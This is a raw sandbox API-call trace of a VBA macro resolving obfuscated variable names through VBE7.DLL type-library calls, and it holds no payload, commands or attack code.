0xb [0071.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e702ee, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_LFkuwMQIzXkHbQrhctzyM") returned 29 [0071.701] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_LFkuwMQIzXkHbQrhctzyM", lHashVal=0x30329d, wFlags=0x3, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x4c005f00720061, ppTypeComp=0x77007500000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x4c005f00720061, ppTypeComp=0x77007500000000, pDummy=0x0) returned 0x0 [0071.701] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e63b3e | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da96210) [0071.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da998dc, cbMultiByte=2, lpWideCharStr=0x28861802344, cchWideChar=6 | out: lpWideCharStr="&H") returned 2 [0071.701] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc650 [0071.701] _mbscpy_s (in: _Dst=0x2885dacc650, _DstSizeInBytes=0x4, _Src=0x28860e6133a | out: _Dst=0x2885dacc650) returned 0x0 [0071.701] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Mid") returned 0x3070ed [0071.701] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.701] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.701] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.701] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.701] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.701] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc650) [0071.701] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.701] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.701] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.701] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.701] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.701] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.701] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.702] IUnknown:AddRef (This=0x2885d6296c8) returned 0x3 [0071.702] IUnknown:Release (This=0x2885d6296c8) returned 0x2 [0071.702] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.702] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.702] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d6296c8, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.702] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.702] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.702] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.702] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.702] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.702] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.702] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc710 [0071.702] _mbscpy_s (in: _Dst=0x2885dacc710, _DstSizeInBytes=0x4, _Src=0x28860e638a2 | out: _Dst=0x2885dacc710) returned 0x0 [0071.702] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.702] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.702] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.702] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.702] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.702] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.702] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.702] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc710) [0071.702] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.702] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.702] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.703] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.703] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.703] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.703] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.703] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="adKpWpNYKTHpynHGwQDIp") returned 0x40857c [0071.703] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="adKpWpNYKTHpynHGwQDIp" | out: _Dst="adKpWpNYKTHpynHGwQDIp") returned 0x0 [0071.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="adKpWpNYKTHpynHGwQDIp") returned 22 [0071.703] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.703] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="adKpWpNYKTHpynHGwQDIp", lHashVal=0x40857c, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.703] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.703] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.703] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="adKpWpNYKTHpynHGwQDIp", lHashVal=0x40857c, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.703] IUnknown:Release (This=0x28857594370) returned 0xc [0071.703] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.703] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="adKpWpNYKTHpynHGwQDIp", lHashVal=0x40857c, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.703] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.703] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.703] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="adKpWpNYKTHpynHGwQDIp", lHashVal=0x40857c, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.703] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e63b76, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="adKpWpNYKTHpynHGwQDIp") returned 22 [0071.703] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="adKpWpNYKTHpynHGwQDIp", lHashVal=0x30bd7c, wFlags=0x5, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.703] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da964e0 [0071.703] _mbscpy_s (in: _Dst=0x2885da964e0, _DstSizeInBytes=0x16, _Src=0x28860e63b76 | out: _Dst=0x2885da964e0) returned 0x0 [0071.703] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_adKpWpNYKTHpynHGwQDIp") returned 0x304c67 [0071.703] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_adKpWpNYKTHpynHGwQDIp" | out: _Dst="_B_var_adKpWpNYKTHpynHGwQDIp") returned 0x0 [0071.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_adKpWpNYKTHpynHGwQDIp") returned 29 [0071.703] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.703] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_adKpWpNYKTHpynHGwQDIp", lHashVal=0x304c67, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.703] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.703] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.703] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_adKpWpNYKTHpynHGwQDIp", lHashVal=0x304c67, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.703] IUnknown:Release (This=0x28857594370) returned 0xc [0071.703] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.704] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_adKpWpNYKTHpynHGwQDIp", lHashVal=0x304c67, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.704] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.704] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.704] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_adKpWpNYKTHpynHGwQDIp", lHashVal=0x304c67, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.704] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.704] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.704] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e7032e, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_adKpWpNYKTHpynHGwQDIp") returned 29 [0071.704] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_adKpWpNYKTHpynHGwQDIp", lHashVal=0x304c67, wFlags=0x5, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x61005f00720061, ppTypeComp=0x57007000000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x61005f00720061, ppTypeComp=0x57007000000000, pDummy=0x0) returned 0x0 [0071.704] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e63b76 | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.704] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da964e0) [0071.704] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.704] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.704] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.704] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.704] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.704] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.704] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.704] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.704] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.704] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.704] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.704] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc950 [0071.704] _mbscpy_s (in: _Dst=0x2885dacc950, _DstSizeInBytes=0x4, _Src=0x28860e638a2 | out: _Dst=0x2885dacc950) returned 0x0 [0071.704] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.704] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.704] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.704] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.704] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.704] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.705] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.705] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc950) [0071.705] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x28861810000 [0071.705] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.706] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.706] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.706] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.706] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.706] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.706] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.706] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CJwIgrYsRLTsUWGWJzcnV") returned 0x402a4a [0071.706] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="CJwIgrYsRLTsUWGWJzcnV" | out: _Dst="CJwIgrYsRLTsUWGWJzcnV") returned 0x0 [0071.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="CJwIgrYsRLTsUWGWJzcnV") returned 22 [0071.706] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.706] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="CJwIgrYsRLTsUWGWJzcnV", lHashVal=0x402a4a, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.706] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.706] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.706] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="CJwIgrYsRLTsUWGWJzcnV", lHashVal=0x402a4a, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.706] IUnknown:Release (This=0x28857594370) returned 0xc [0071.706] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.706] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="CJwIgrYsRLTsUWGWJzcnV", lHashVal=0x402a4a, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.706] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.706] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.706] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="CJwIgrYsRLTsUWGWJzcnV", lHashVal=0x402a4a, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.706] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e63be6, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="CJwIgrYsRLTsUWGWJzcnV") returned 22 [0071.706] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="CJwIgrYsRLTsUWGWJzcnV", lHashVal=0x30c96d, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.706] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da95f40 [0071.706] _mbscpy_s (in: _Dst=0x2885da95f40, _DstSizeInBytes=0x16, _Src=0x28860e63be6 | out: _Dst=0x2885da95f40) returned 0x0 [0071.706] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_CJwIgrYsRLTsUWGWJzcnV") returned 0x3048d7 [0071.706] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_CJwIgrYsRLTsUWGWJzcnV" | out: _Dst="_B_var_CJwIgrYsRLTsUWGWJzcnV") returned 0x0 [0071.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_CJwIgrYsRLTsUWGWJzcnV") returned 29 [0071.706] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.707] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_CJwIgrYsRLTsUWGWJzcnV", lHashVal=0x3048d7, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.707] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.707] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.707] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_CJwIgrYsRLTsUWGWJzcnV", lHashVal=0x3048d7, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.707] IUnknown:Release (This=0x28857594370) returned 0xc 